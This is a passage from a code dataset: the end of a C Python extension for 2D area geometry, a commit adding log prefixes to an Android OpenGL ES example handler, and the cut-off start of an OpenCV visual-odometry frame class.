(CArea*)a2;\r\n\r\n\tif(valid_areas.find(area1) != valid_areas.end() && valid_areas.find(area2) != valid_areas.end())\r\n\t{\n\t\tarea1->Subtract(*area2);\n\t}\r\n\r\n\tPy_RETURN_NONE;\r\n}\r\n\r\nstatic PyObject* area_set_round_corner_factor(PyObject* self, PyObject* args)\r\n{\r\n\tif (!PyArg_ParseTuple(args, \"d\", &CArea::m_round_corners_factor)) return NULL;\r\n\r\n\tPy_RETURN_NONE;\r\n}\r\n\r\nstatic PyObject* area_copy(PyObject* self, PyObject* args)\r\n{\r\n\tint ik;\r\n\tint ik2;\r\n\tif (!PyArg_ParseTuple(args, \"ii\", &ik, &ik2)) return NULL;\r\n\tCArea* k = (CArea*)ik;\r\n\tCArea* k2 = (CArea*)ik2;\r\n\tif(valid_areas.find(k) != valid_areas.end())\r\n\t{\r\n\t\tif(valid_areas.find(k2) != valid_areas.end())\r\n\t\t{\r\n\t\t\t*k2 = *k;\r\n\t\t}\r\n\t}\r\n\r\n\tPy_RETURN_NONE;\r\n}\r\n\r\nstatic PyObject* area_num_curves(PyObject* self, PyObject* args)\r\n{\r\n\tint ik;\r\n\tif (!PyArg_ParseTuple(args, \"i\", &ik)) return NULL;\r\n\tCArea* k = (CArea*)ik;\r\n\r\n\tint n = 0;\r\n\tif(valid_areas.find(k) != valid_areas.end())\r\n\t{\r\n\t\tn = k->m_curves.size();\r\n\t}\r\n\r\n\tPyObject *pValue = PyInt_FromLong(n);\r\n\tPy_INCREF(pValue);\r\n\treturn pValue;\r\n}\r\n\r\nstatic PyObject* area_num_vertices(PyObject* self, PyObject* args)\r\n{\r\n\tint ik, ic;\r\n\tif (!PyArg_ParseTuple(args, \"ii\", &ik, &ic)) return NULL;\r\n\tCArea* k = (CArea*)ik;\r\n\r\n\tint n = 0;\r\n\tif(valid_areas.find(k) != valid_areas.end())\r\n\t{\r\n\t\tif(ic >= 0 && ic < (int)(k->m_curves.size()))n = k->m_curves[ic].m_vertices.size();\r\n\t}\r\n\r\n\tPyObject *pValue = PyInt_FromLong(n);\r\n\tPy_INCREF(pValue);\r\n\treturn pValue;\r\n}\r\n\r\nstatic PyObject* area_get_vertex(PyObject* self, PyObject* args)\r\n{\r\n\tint ik, ic;\r\n\tint index; \/\/ 0 is first\r\n\tif (!PyArg_ParseTuple(args, \"iii\", &ik, &ic, &index)) return NULL;\r\n\tCArea* k = (CArea*)ik;\r\n\r\n\tint sp = 0;\r\n\tdouble x = 0.0, y = 0.0;\r\n\tdouble cx = 0.0, cy = 0.0;\r\n\r\n\tif(valid_areas.find(k) != valid_areas.end())\r\n\t{\r\n\t\tif(ic >= 0 && ic < (int)(k->m_curves.size()))\r\n\t\t{\r\n\t\t\tCCurve& curve = k->m_curves[ic];\r\n\t\t\tif(index >= 0 && index < (int)(curve.m_vertices.size()))\r\n\t\t\t{\r\n\t\t\t\tCVertex& vertex = curve.m_vertices[index];\r\n\t\t\t\tsp = vertex.m_type;\r\n\t\t\t\tx = vertex.m_p[0];\r\n\t\t\t\ty = vertex.m_p[1];\r\n\t\t\t\tcx = vertex.m_c[0];\r\n\t\t\t\tcy = vertex.m_c[1];\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\r\n\t\/\/ return span data as a tuple\r\n\tPyObject *pTuple = PyTuple_New(5);\r\n\t{\r\n\t\tPyObject *pValue = PyInt_FromLong(sp);\r\n\t\tif (!pValue){\r\n\t\t\tPy_DECREF(pTuple);return NULL;\r\n\t\t}\r\n\t\tPyTuple_SetItem(pTuple, 0, pValue);\r\n\t}\r\n\t{\r\n\t\tPyObject *pValue = PyFloat_FromDouble(x);\r\n\t\tif (!pValue){\r\n\t\t\tPy_DECREF(pTuple);return NULL;\r\n\t\t}\r\n\t\tPyTuple_SetItem(pTuple, 1, pValue);\r\n\t}\r\n\t{\r\n\t\tPyObject *pValue = PyFloat_FromDouble(y);\r\n\t\tif (!pValue){\r\n\t\t\tPy_DECREF(pTuple);return NULL;\r\n\t\t}\r\n\t\tPyTuple_SetItem(pTuple, 2, pValue);\r\n\t}\r\n\t{\r\n\t\tPyObject *pValue = PyFloat_FromDouble(cx);\r\n\t\tif (!pValue){\r\n\t\t\tPy_DECREF(pTuple);return NULL;\r\n\t\t}\r\n\t\tPyTuple_SetItem(pTuple, 3, pValue);\r\n\t}\r\n\t{\r\n\t\tPyObject *pValue = PyFloat_FromDouble(cy);\r\n\t\tif (!pValue){\r\n\t\t\tPy_DECREF(pTuple);return NULL;\r\n\t\t}\r\n\t\tPyTuple_SetItem(pTuple, 4, pValue);\r\n\t}\r\n\r\n\tPy_INCREF(pTuple);\r\n\treturn pTuple;\r\n}\r\n\r\nstatic PyObject* area_add_curve(PyObject* self, PyObject* args)\r\n{\r\n\tint ik, ij, ii;\r\n\tif (!PyArg_ParseTuple(args, \"iii\", &ik, &ij, &ii)) return NULL;\r\n\r\n\tCArea* k = (CArea*)ik;\r\n\tCArea* j = (CArea*)ij;\r\n\tif(valid_areas.find(k) != valid_areas.end() && valid_areas.find(j) != valid_areas.end())\r\n\t{\r\n if(ii >= 0 && ii < (int)j->m_curves.size()){\n \/\/ add curve\n k->m_curves.push_back(j->m_curves[ii]);\r\n }\n\t}\r\n\r\n\tPy_RETURN_NONE;\r\n}\n\r\nstatic void print_curve(const CCurve& c)\r\n{\r\n\tunsigned int nvertices = c.m_vertices.size();\r\n\tprintf(\"number of vertices = %d\\n\", nvertices);\r\n\tfor(unsigned int i = 0; i< nvertices; i++)\r\n\t{\r\n\t\tconst CVertex &vertex = c.m_vertices[i];\r\n\t\tprintf(\"vertex %d type = %d, x = %g, y = %g\", i+1, vertex.m_type, vertex.m_p[0], vertex.m_p[1]);\r\n\t\tif(vertex.m_type)printf(\", xc = %g, yc = %g\", vertex.m_c[0], vertex.m_c[1]);\r\n\t\tprintf(\"\\n\");\r\n\t}\r\n}\r\n\r\nstatic void print_area(const CArea &a)\r\n{\r\n\tfor(unsigned int i = 0; i<a.m_curves.size(); i++)\r\n\t{\r\n\t\tconst CCurve& curve = a.m_curves[i];\r\n\t\tprint_curve(curve);\r\n\t}\r\n}\r\n\r\nstatic PyObject* area_print_area(PyObject* self, PyObject* args)\r\n{\r\n\tint ik;\r\n\tif (!PyArg_ParseTuple(args, \"i\", &ik)) return NULL;\r\n\tCArea* k = (CArea*)ik;\r\n\r\n\tif(valid_areas.find(k) != valid_areas.end())\r\n\t{\r\n\t\tprint_area(*k);\r\n\t}\r\n\r\n\tPy_RETURN_NONE;\r\n}\r\n\r\nstatic PyMethodDef AreaMethods[] = {\r\n\t{\"new\", area_new, METH_VARARGS , \"\"},\r\n\t{\"exists\", area_exists, METH_VARARGS , \"\"},\r\n\t{\"delete\", area_delete, METH_VARARGS , \"\"},\r\n\t{\"add_point\", area_add_point, METH_VARARGS , \"\"},\r\n\t{\"start_new_curve\", area_start_new_curve, METH_VARARGS , \"\"},\r\n\t{\"subtract\", area_subtract, METH_VARARGS , \"\"},\r\n\t{\"offset\", area_offset, METH_VARARGS , \"\"},\r\n\t{\"set_round_corner_factor\", area_set_round_corner_factor, METH_VARARGS , \"\"},\r\n\t{\"copy\", area_copy, METH_VARARGS , \"\"},\r\n\t{\"num_curves\", area_num_curves, METH_VARARGS , \"\"},\r\n\t{\"num_vertices\", area_num_vertices, METH_VARARGS , \"\"},\r\n\t{\"get_vertex\", area_get_vertex, METH_VARARGS , \"\"},\r\n\t{\"add_curve\", area_add_curve, METH_VARARGS , \"\"},\r\n\t{\"print_area\", area_print_area, METH_VARARGS , \"\"},\r\n\t{NULL, NULL, 0, NULL}\r\n};\r\n\r\nPyMODINIT_FUNC\r\ninitarea(void)\r\n{\r\n\tPy_InitModule(\"area\", AreaMethods);\r\n}\r\n<|endoftext|>"} {"text":"<commit_before>#include \"ExampleAndroidHandler.h\"\n#include <AndroidLog.h>\n\nExampleAndroidHandler::ExampleAndroidHandler()\n{\n\t\/\/ State variables\n\tm_bShouldQuit \t= false;\n\tm_bIsVisible \t= false;\n\tm_bIsPaused\t\t= true;\n\n\t\/\/ Egl\n\tm_Display = EGL_NO_DISPLAY;\n\tm_Surface = EGL_NO_SURFACE;\n\tm_Context = NULL;\n}\n\nExampleAndroidHandler::~ExampleAndroidHandler()\n{\n\tDestroyOpenGL();\n}\n\nvoid ExampleAndroidHandler::Run()\n{\n\t\/\/ Example asset read\n\tAndroid::Asset* pAsset = Android::GetAssetManager().GetAsset( \"test.txt\" );\n\tif ( pAsset )\n\t{\n\t\t\/\/ Create a buffer to read the content into,\n\t\t\/\/ [ Size() + 1 ] for null terminator character for LOV usage\n\t\tchar* pBuffer = new char[ pAsset->Size() + 1 ];\n\n\t\t\/\/ Read the buffer\n\t\tpAsset->Read( pBuffer, pAsset->Size() );\n\n\t\t\/\/ Delete the asset file\n\t\tdelete pAsset;\n\n\t\t\/\/ Set null terminating for LOGV\n\t\tpBuffer[ pAsset->Size() ] = 0;\n\n\t\t\/\/ Show us the file's content!\n\t\tLOGV( \"File content: %s\", pBuffer );\n\n\t\t\/\/ Delete the buffer\n\t\tdelete [] pBuffer;\n\t}\n\n\t\/\/ Create time measurement\n\ttimespec timeNow;\n\tclock_gettime( CLOCK_MONOTONIC, &timeNow );\n\tuint64_t uPreviousTime = timeNow.tv_sec * 1000000000ull + timeNow.tv_nsec;\n\n\t\/\/ While application is alive...\n\twhile ( !m_bShouldQuit )\n\t{\n\t\t\/\/ Handle Android events\n\t\tAndroid::PollEvents();\n\n\t\t\/\/ Calculate delta time\n\t\tclock_gettime( CLOCK_MONOTONIC, &timeNow ); \/\/ query time now\n\t\tuint64_t uNowNano = timeNow.tv_sec * 1000000000ull + timeNow.tv_nsec; \/\/ get time in nanoseconds\n\t\tfloat fDeltaSeconds = float( uNowNano - uPreviousTime ) * 0.000000001f; \/\/ 1 second = 1,000,000,000 nanoseconds\n\t\tuPreviousTime = uNowNano; \/\/ set previous time to new time\n\n\t\t\/\/ If not paused...\n\t\tif ( !m_bIsPaused )\n\t\t{\n\t\t\t\/\/ Update logic\n\t\t\tUpdate( fDeltaSeconds );\n\t\t}\n\n\t\t\/\/ If visible\n\t\tif ( m_bIsVisible )\n\t\t{\n\t\t\t\/\/ Draw\n\t\t\tDraw();\n\t\t}\n\n\t}\n}\n\nvoid ExampleAndroidHandler::Update( float fDeltaSeconds )\n{\n\t\/\/ Do stuff here\n}\n\nvoid ExampleAndroidHandler::Draw()\n{\n\t\/\/ Draw things here\n\tglClearColor( 0.0f, 0.0f, 1.0f, 1.0f );\n\tglClear( GL_COLOR_BUFFER_BIT | GL_DEPTH_BUFFER_BIT );\n\n\tif ( !eglSwapBuffers( m_Display, m_Surface ) )\n\t{\n\t\tLOGE( \"eglSwapBuffers() returned error %d\", eglGetError() );\n\t}\n}\n\nbool ExampleAndroidHandler::InitOpenGL()\n{\n\tconst EGLint attribs[] =\n\t{\n\t\tEGL_SURFACE_TYPE, EGL_WINDOW_BIT,\n\t\tEGL_BLUE_SIZE, 8,\n\t\tEGL_GREEN_SIZE, 8,\n\t\tEGL_RED_SIZE, 8,\n\t\tEGL_NONE\n\t};\n\n\tEGLDisplay display;\n\tEGLConfig config;\n\tEGLint numConfigs;\n\tEGLint format;\n\tEGLSurface surface;\n\tEGLContext context;\n\tEGLint width;\n\tEGLint height;\n\tGLfloat ratio;\n\n\tLOGV( \"[Example]: Initializing context\" );\n\n\tif ( ( display = eglGetDisplay( EGL_DEFAULT_DISPLAY ) ) == EGL_NO_DISPLAY )\n\t{\n\t\tLOGE( \"[Example]: eglGetDisplay() returned error %d\", eglGetError() );\n\t\treturn false;\n\t}\n\n\tif ( !eglInitialize( display, 0, 0 ) )\n\t{\n\t\tLOGE( \"[Example]: eglInitialize() returned error %d\", eglGetError() );\n\t\treturn false;\n\t}\n\n\tif ( !eglChooseConfig(display, attribs, &config, 1, &numConfigs) )\n\t{\n\t\tLOGE( \"[Example]: eglChooseConfig() returned error %d\", eglGetError() );\n\t\tDestroyOpenGL();\n\t\treturn false;\n\t}\n\n\tif ( !eglGetConfigAttrib(display, config, EGL_NATIVE_VISUAL_ID, &format) )\n\t{\n\t\tLOGE( \"[Example]: eglGetConfigAttrib() returned error %d\", eglGetError() );\n\t\tDestroyOpenGL();\n\t\treturn false;\n\t}\n\n\t\/\/ Set buffer geometry using our window which is saved in Android\n\tANativeWindow_setBuffersGeometry( Android::GetWindow(), 0, 0, format );\n\n\tif ( !( surface = eglCreateWindowSurface( display, config, Android::GetWindow(), 0 ) ) )\n\t{\n\t\tLOGE( \"[Example]: eglCreateWindowSurface() returned error %d\", eglGetError() );\n\t\tDestroyOpenGL();\n\t\treturn false;\n\t}\n\n\tif ( !( context = eglCreateContext( display, config, 0, 0 ) ) )\n\t{\n\t\tLOGE( \"[Example]: eglCreateContext() returned error %d\", eglGetError() );\n\t\tDestroyOpenGL();\n\t\treturn false;\n\t}\n\n\tif ( !eglMakeCurrent(display, surface, surface, context ) )\n\t{\n\t\tLOGE( \"[Example]: eglMakeCurrent() returned error %d\", eglGetError() );\n\t\tDestroyOpenGL();\n\t\treturn false;\n\t}\n\n\tif ( !eglQuerySurface( display, surface, EGL_WIDTH, &width ) ||\n\t\t!eglQuerySurface( display, surface, EGL_HEIGHT, &height ) )\n\t{\n\t\tLOGE( \"[Example]: eglQuerySurface() returned error %d\", eglGetError() );\n\t\tDestroyOpenGL();\n\t\treturn false;\n\t}\n\n\tm_Display = display;\n\tm_Surface = surface;\n\tm_Context = context;\n\n\tglDisable( GL_DITHER );\n\tglHint( GL_PERSPECTIVE_CORRECTION_HINT, GL_FASTEST );\n\tglClearColor(0, 0, 0, 0);\n\tglEnable( GL_CULL_FACE );\n\tglEnable( GL_DEPTH_TEST );\n\n\treturn true;\n}\n\nvoid ExampleAndroidHandler::DestroyOpenGL()\n{\n\tif ( m_Display )\n\t{\n\t\tLOGV( \"[Example]: Shutting down OpenGL\" );\n\n\t\teglMakeCurrent( m_Display, EGL_NO_SURFACE, EGL_NO_SURFACE, EGL_NO_CONTEXT );\n\t\teglDestroyContext( m_Display, m_Context );\n\t\teglDestroySurface( m_Display, m_Surface);\n\t\teglTerminate( m_Display );\n\n\t\tm_Display = EGL_NO_DISPLAY;\n\t\tm_Surface = EGL_NO_SURFACE;\n\t\tm_Context = NULL;\n\t}\n}\n\n\/\/ Application\nvoid ExampleAndroidHandler::OnShutdown()\n{\n\tLOGV( \"[Example]: Shutting down!\" );\n\tm_bShouldQuit = true;\n}\n\n\/\/ Surface\nvoid ExampleAndroidHandler::OnSurfaceCreated()\n{\n\tLOGV( \"[Example]: Creating surface!\" );\n\tif ( InitOpenGL() == false )\n\t{\n\t\tm_bShouldQuit = true;\n\t}\n}\n\nvoid ExampleAndroidHandler::OnSurfaceChanged( int iPixelFormat, int iWidth, int iHeight )\n{\n\tLOGV( \"[Example]: Setting viewports!\" );\n\n\t\/\/ Set new viewport\n\tglViewport( 0, 0, iWidth, iHeight );\n}\n\nvoid ExampleAndroidHandler::OnSurfaceDestroyed()\n{\n\tLOGV( \"[Example]: Destroying egl!\" );\n\tDestroyOpenGL();\n}\n\n\/\/ States\nvoid ExampleAndroidHandler::OnPause()\n{\n\tLOGV( \"[Example]: Paused!\" );\n\tm_bIsPaused = true;\n}\n\nvoid ExampleAndroidHandler::OnResume()\n{\n\tLOGV( \"[Example]: Resumed!\" );\n\tm_bIsPaused = false;\n}\n\nvoid ExampleAndroidHandler::OnVisible()\n{\n\tLOGV( \"[Example]: Visible!\" );\n\tm_bIsVisible = true;\n}\n\nvoid ExampleAndroidHandler::OnHidden()\n{\n\tLOGV( \"[Example]: Hidden!\" );\n\tm_bIsVisible = false;\n}\n\nvoid ExampleAndroidHandler::OnLowMemory()\n{\n\tLOGV( \"[Example]: Clearing some memory to stay alive...\" );\n\n\t\/\/ BigMemoryObject->Release();\n}\n\n\/\/ Input\nvoid ExampleAndroidHandler::OnKey( int iKeyCode, wchar_t iUnicodeChar )\n{\n\tLOGV( \"[Example]: Got key! %i %c\", iKeyCode, iUnicodeChar );\n}\n\nvoid ExampleAndroidHandler::OnTouch( int iPointerID, float fPosX, float fPosY, int iAction )\n{\n\tLOGV( \"[Example]: Touch: %i, x: %f y:, %f action:, %i.\", iPointerID, fPosX, fPosY, iAction );\n\n\tif ( iAction == 0 )\n\t{\n\t\t\/\/ On touch start show keyboard!\n\t\tAndroid::ShowKeyboard();\n\t}\n\n\telse if ( iAction == 1 )\n\t{\n\t\t\/\/ On touch up, hide keyboard...\n\t\tAndroid::HideKeyboard();\n\t}\n}\n<commit_msg>Added missing log identifiers<commit_after>#include \"ExampleAndroidHandler.h\"\n#include <AndroidLog.h>\n\nExampleAndroidHandler::ExampleAndroidHandler()\n{\n\t\/\/ State variables\n\tm_bShouldQuit \t= false;\n\tm_bIsVisible \t= false;\n\tm_bIsPaused\t\t= true;\n\n\t\/\/ Egl\n\tm_Display = EGL_NO_DISPLAY;\n\tm_Surface = EGL_NO_SURFACE;\n\tm_Context = NULL;\n}\n\nExampleAndroidHandler::~ExampleAndroidHandler()\n{\n\tDestroyOpenGL();\n}\n\nvoid ExampleAndroidHandler::Run()\n{\n\t\/\/ Example asset read\n\tAndroid::Asset* pAsset = Android::GetAssetManager().GetAsset( \"test.txt\" );\n\tif ( pAsset )\n\t{\n\t\t\/\/ Create a buffer to read the content into,\n\t\t\/\/ [ Size() + 1 ] for null terminator character for LOV usage\n\t\tchar* pBuffer = new char[ pAsset->Size() + 1 ];\n\n\t\t\/\/ Read the buffer\n\t\tpAsset->Read( pBuffer, pAsset->Size() );\n\n\t\t\/\/ Delete the asset file\n\t\tdelete pAsset;\n\n\t\t\/\/ Set null terminating for LOGV\n\t\tpBuffer[ pAsset->Size() ] = 0;\n\n\t\t\/\/ Show us the file's content!\n\t\tLOGV( \"[Example]: File content: %s\", pBuffer );\n\n\t\t\/\/ Delete the buffer\n\t\tdelete [] pBuffer;\n\t}\n\n\t\/\/ Create time measurement\n\ttimespec timeNow;\n\tclock_gettime( CLOCK_MONOTONIC, &timeNow );\n\tuint64_t uPreviousTime = timeNow.tv_sec * 1000000000ull + timeNow.tv_nsec;\n\n\t\/\/ While application is alive...\n\twhile ( !m_bShouldQuit )\n\t{\n\t\t\/\/ Handle Android events\n\t\tAndroid::PollEvents();\n\n\t\t\/\/ Calculate delta time\n\t\tclock_gettime( CLOCK_MONOTONIC, &timeNow ); \/\/ query time now\n\t\tuint64_t uNowNano = timeNow.tv_sec * 1000000000ull + timeNow.tv_nsec; \/\/ get time in nanoseconds\n\t\tfloat fDeltaSeconds = float( uNowNano - uPreviousTime ) * 0.000000001f; \/\/ 1 second = 1,000,000,000 nanoseconds\n\t\tuPreviousTime = uNowNano; \/\/ set previous time to new time\n\n\t\t\/\/ If not paused...\n\t\tif ( !m_bIsPaused )\n\t\t{\n\t\t\t\/\/ Update logic\n\t\t\tUpdate( fDeltaSeconds );\n\t\t}\n\n\t\t\/\/ If visible\n\t\tif ( m_bIsVisible )\n\t\t{\n\t\t\t\/\/ Draw\n\t\t\tDraw();\n\t\t}\n\n\t}\n\n\tLOGV( \"[Example]: Mainloop terminated.\" );\n}\n\nvoid ExampleAndroidHandler::Update( float fDeltaSeconds )\n{\n\t\/\/ Do stuff here\n}\n\nvoid ExampleAndroidHandler::Draw()\n{\n\t\/\/ Draw things here\n\tglClearColor( 0.0f, 0.0f, 1.0f, 1.0f );\n\tglClear( GL_COLOR_BUFFER_BIT | GL_DEPTH_BUFFER_BIT );\n\n\tif ( !eglSwapBuffers( m_Display, m_Surface ) )\n\t{\n\t\tLOGE( \"[Example]: eglSwapBuffers() returned error %d\", eglGetError() );\n\t}\n}\n\nbool ExampleAndroidHandler::InitOpenGL()\n{\n\tconst EGLint attribs[] =\n\t{\n\t\tEGL_SURFACE_TYPE, EGL_WINDOW_BIT,\n\t\tEGL_BLUE_SIZE, 8,\n\t\tEGL_GREEN_SIZE, 8,\n\t\tEGL_RED_SIZE, 8,\n\t\tEGL_NONE\n\t};\n\n\tEGLDisplay display;\n\tEGLConfig config;\n\tEGLint numConfigs;\n\tEGLint format;\n\tEGLSurface surface;\n\tEGLContext context;\n\tEGLint width;\n\tEGLint height;\n\tGLfloat ratio;\n\n\tLOGV( \"[Example]: Initializing context\" );\n\n\tif ( ( display = eglGetDisplay( EGL_DEFAULT_DISPLAY ) ) == EGL_NO_DISPLAY )\n\t{\n\t\tLOGE( \"[Example]: eglGetDisplay() returned error %d\", eglGetError() );\n\t\treturn false;\n\t}\n\n\tif ( !eglInitialize( display, 0, 0 ) )\n\t{\n\t\tLOGE( \"[Example]: eglInitialize() returned error %d\", eglGetError() );\n\t\treturn false;\n\t}\n\n\tif ( !eglChooseConfig(display, attribs, &config, 1, &numConfigs) )\n\t{\n\t\tLOGE( \"[Example]: eglChooseConfig() returned error %d\", eglGetError() );\n\t\tDestroyOpenGL();\n\t\treturn false;\n\t}\n\n\tif ( !eglGetConfigAttrib(display, config, EGL_NATIVE_VISUAL_ID, &format) )\n\t{\n\t\tLOGE( \"[Example]: eglGetConfigAttrib() returned error %d\", eglGetError() );\n\t\tDestroyOpenGL();\n\t\treturn false;\n\t}\n\n\t\/\/ Set buffer geometry using our window which is saved in Android\n\tANativeWindow_setBuffersGeometry( Android::GetWindow(), 0, 0, format );\n\n\tif ( !( surface = eglCreateWindowSurface( display, config, Android::GetWindow(), 0 ) ) )\n\t{\n\t\tLOGE( \"[Example]: eglCreateWindowSurface() returned error %d\", eglGetError() );\n\t\tDestroyOpenGL();\n\t\treturn false;\n\t}\n\n\tif ( !( context = eglCreateContext( display, config, 0, 0 ) ) )\n\t{\n\t\tLOGE( \"[Example]: eglCreateContext() returned error %d\", eglGetError() );\n\t\tDestroyOpenGL();\n\t\treturn false;\n\t}\n\n\tif ( !eglMakeCurrent(display, surface, surface, context ) )\n\t{\n\t\tLOGE( \"[Example]: eglMakeCurrent() returned error %d\", eglGetError() );\n\t\tDestroyOpenGL();\n\t\treturn false;\n\t}\n\n\tif ( !eglQuerySurface( display, surface, EGL_WIDTH, &width ) ||\n\t\t!eglQuerySurface( display, surface, EGL_HEIGHT, &height ) )\n\t{\n\t\tLOGE( \"[Example]: eglQuerySurface() returned error %d\", eglGetError() );\n\t\tDestroyOpenGL();\n\t\treturn false;\n\t}\n\n\tm_Display = display;\n\tm_Surface = surface;\n\tm_Context = context;\n\n\tglDisable( GL_DITHER );\n\tglHint( GL_PERSPECTIVE_CORRECTION_HINT, GL_FASTEST );\n\tglClearColor(0, 0, 0, 0);\n\tglEnable( GL_CULL_FACE );\n\tglEnable( GL_DEPTH_TEST );\n\n\treturn true;\n}\n\nvoid ExampleAndroidHandler::DestroyOpenGL()\n{\n\tif ( m_Display )\n\t{\n\t\tLOGV( \"[Example]: Shutting down OpenGL\" );\n\n\t\teglMakeCurrent( m_Display, EGL_NO_SURFACE, EGL_NO_SURFACE, EGL_NO_CONTEXT );\n\t\teglDestroyContext( m_Display, m_Context );\n\t\teglDestroySurface( m_Display, m_Surface);\n\t\teglTerminate( m_Display );\n\n\t\tm_Display = EGL_NO_DISPLAY;\n\t\tm_Surface = EGL_NO_SURFACE;\n\t\tm_Context = NULL;\n\t}\n}\n\n\/\/ Application\nvoid ExampleAndroidHandler::OnShutdown()\n{\n\tLOGV( \"[Example]: Shutting down!\" );\n\tm_bShouldQuit = true;\n}\n\n\/\/ Surface\nvoid ExampleAndroidHandler::OnSurfaceCreated()\n{\n\tLOGV( \"[Example]: Creating surface!\" );\n\tif ( InitOpenGL() == false )\n\t{\n\t\tm_bShouldQuit = true;\n\t}\n}\n\nvoid ExampleAndroidHandler::OnSurfaceChanged( int iPixelFormat, int iWidth, int iHeight )\n{\n\tLOGV( \"[Example]: Setting viewports!\" );\n\n\t\/\/ Set new viewport\n\tglViewport( 0, 0, iWidth, iHeight );\n}\n\nvoid ExampleAndroidHandler::OnSurfaceDestroyed()\n{\n\tLOGV( \"[Example]: Destroying egl!\" );\n\tDestroyOpenGL();\n}\n\n\/\/ States\nvoid ExampleAndroidHandler::OnPause()\n{\n\tLOGV( \"[Example]: Paused!\" );\n\tm_bIsPaused = true;\n}\n\nvoid ExampleAndroidHandler::OnResume()\n{\n\tLOGV( \"[Example]: Resumed!\" );\n\tm_bIsPaused = false;\n}\n\nvoid ExampleAndroidHandler::OnVisible()\n{\n\tLOGV( \"[Example]: Visible!\" );\n\tm_bIsVisible = true;\n}\n\nvoid ExampleAndroidHandler::OnHidden()\n{\n\tLOGV( \"[Example]: Hidden!\" );\n\tm_bIsVisible = false;\n}\n\nvoid ExampleAndroidHandler::OnLowMemory()\n{\n\tLOGV( \"[Example]: Clearing some memory to stay alive...\" );\n\n\t\/\/ BigMemoryObject->Release();\n}\n\n\/\/ Input\nvoid ExampleAndroidHandler::OnKey( int iKeyCode, wchar_t iUnicodeChar )\n{\n\tLOGV( \"[Example]: Got key! %i %c\", iKeyCode, iUnicodeChar );\n}\n\nvoid ExampleAndroidHandler::OnTouch( int iPointerID, float fPosX, float fPosY, int iAction )\n{\n\tLOGV( \"[Example]: Touch: %i, x: %f y:, %f action:, %i.\", iPointerID, fPosX, fPosY, iAction );\n\n\tif ( iAction == 0 )\n\t{\n\t\t\/\/ On touch start show keyboard!\n\t\tAndroid::ShowKeyboard();\n\t}\n\n\telse if ( iAction == 1 )\n\t{\n\t\t\/\/ On touch up, hide keyboard...\n\t\tAndroid::HideKeyboard();\n\t}\n}\n<|endoftext|>"} {"text":"<commit_before>#include <stdio.h>\n#include <iostream>\n#include \"opencv2\/highgui\/highgui.hpp\"\n#include \"opencv2\/features2d\/features2d.hpp\"\n#include \"opencv2\/nonfree\/nonfree.hpp\"\n#include \"opencv2\/video\/video.hpp\"\n\n#include <utils.h>\n\n#include <vector>\n\n#include \"types.h\"\n\nusing namespace std;\nusing namespace visual_odometry;\nusing namespace visual_odometry::utils;\n\n#define LOG(...) printf(__VA_ARGS__)\n\n\/\/void CalcProjectionMatrix(const vector<cv::Point3f>& pt_3d, const vector<cv::Point2f>& pt_2d, cv::Mat pM);\n\nclass Frame {\n\npublic:\n\n\tFrame(int n) {\n\t\tsquareFeatures.resize(n);\n\t\ttriangleFeatures.resize(n);\n\t\tprojMatrix.create(cv::Size(4, 3), CV_64FC1);\n\t}\n\n Frame(const Frame& other) {\n squareFeatures = other.squareFeatures;\n triangleFeatures = other.triangleFeatures;\n projMatrix = other.projMatrix.clone();\n intrinsic = other.intrinsic;\n distortion = other.distortion;\n image = other.image;\n keypoints = other.keypoints;\n descriptors = other.descriptors.clone();\n }\n\n\tvector<Feature> squareFeatures;\n\tvector<Feature> triangleFeatures;\n\tcv::Mat projMatrix;\n\t\n \/\/ Intrinsics params\n cv::Mat intrinsic; \/\/ intrinsic parameters\n cv::Mat distortion; \/\/ lens distortion coefficients\n\n\tcv::Mat image;\n\t\n\tvector<cv::KeyPoint> keypoints;\n\tcv::Mat descriptors;\n\n void calcProjMatrix() {\n\n\t\tvector<cv::Point3f> points3d;\n\t\tvector<cv::Point2f> points2d;\n\n\t\tfor (int i = 0; i < squareFeatures.size(); i++) {\n\t\t\tpoints3d.push_back(squareFeatures[i].p3D_);\n\t\t\tpoints2d.push_back(squareFeatures[i].kp_.pt);\n\t\t}\n\n\n\/\/ bool cv::solvePnPRansac\t(\tInputArray \tobjectPoints,\n\/\/ InputArray \timagePoints,\n\/\/ InputArray \tcameraMatrix,\n\/\/ InputArray \tdistCoeffs,\n\/\/ OutputArray \trvec,\n\/\/ OutputArray \ttvec,\n\/\/ bool \tuseExtrinsicGuess = false,\n\/\/ int \titerationsCount = 100,\n\/\/ float \treprojectionError = 8.0,\n\/\/ double \tconfidence = 0.99,\n\/\/ OutputArray \tinliers = noArray(),\n\/\/ int \tflags = SOLVEPNP_ITERATIVE\n\/\/ )\n\n\n LOG(\"Number of Points %d\\n\", points3d.size());\n\n cv::Mat tvec, rvec;\n cv::solvePnPRansac(points3d, points2d, intrinsic, distortion, rvec, tvec, false, 100, 8.0, 0.99);\n\n cv::Mat R;\n cv::Rodrigues(rvec, R);\n\n cv::Mat Pose(3,4, R.type());\n R.copyTo(Pose(cv::Rect(0, 0, 3, 3)));\n tvec.copyTo(Pose(cv::Rect(3, 0, 1, 3)));\n projMatrix = intrinsic*Pose;\n \/\/CalcProjectionMatrix(points3d, points2d, projMatrix);\n\n\t\tprintProjMatrix();\n\t}\n\n void detectAndDescribe() {\n\t\tchar algorithm[] = \"SIFT\";\n\t\tcv::Ptr<cv::FeatureDetector> detector = cv::FeatureDetector::create(algorithm);\n\t\tcv::Ptr<cv::DescriptorExtractor> descriptor = cv::DescriptorExtractor::create(algorithm);\n\n\t\tkeypoints.clear();\n\n\t\tdetector->detect(image, keypoints);\n\t\tdescriptor->compute(image, keypoints, descriptors);\n\t}\n\n\n void loadIntrinsicsFromFile(const std::string& filename){\n\n\n cv::FileStorage cvfs(filename.c_str(),CV_STORAGE_READ);\n if( cvfs.isOpened() ){\n cvfs[\"mat_intrinsicMat\"] >> intrinsic;\n cvfs[\"mat_distortionMat\"] >> distortion;\n }\n }\n\n void loadKpFromFile(const std::string& filename){\n\n\t\tFILE *f = fopen(filename.c_str(), \"r\");\n\t\tfloat x, y;\n\t\tint index = 0;\n\n\t\twhile (fscanf(f, \"%f,%f\", &x, &y) == 2){\n\t\t\tsquareFeatures[index].kp_ = cv::KeyPoint(x, y, 1);\n\t\t\tsquareFeatures[index].type_ = Feature::SQUARE;\n\t\t\tindex++;\n\t\t}\n\n\t\tfclose(f);\n\n\t}\n\n void load3DPointsFromFile(const std::string& filename){\n\n\t\tFILE *f = fopen(filename.c_str(), \"r\");\n\t\tcv::Point3f p;\n\t\tint index = 0;\n\n\t\twhile 